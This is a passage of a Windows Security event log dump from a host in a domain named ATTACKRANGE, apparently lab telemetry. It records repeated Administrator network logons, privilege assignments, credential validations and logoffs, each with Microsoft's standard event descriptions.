	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245361
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245360
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x94ABC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245456
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9C4DC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245455
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D792

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245454
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D792
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245453
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245452
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245451
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D761

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245450
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D761

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245449
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9D761
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245448
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245447
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245446
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9C7F8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245445
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9C7F8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245444
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9C7F8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245443
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245442
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245441
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9C4DC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245440
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9C4DC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245439
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245438
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245437
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245473
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9FD2D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245472
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9FD2D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245471
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245470
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245469
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9E15D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245468
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9E15D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245467
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245466
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245465
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9DE30

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245464
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

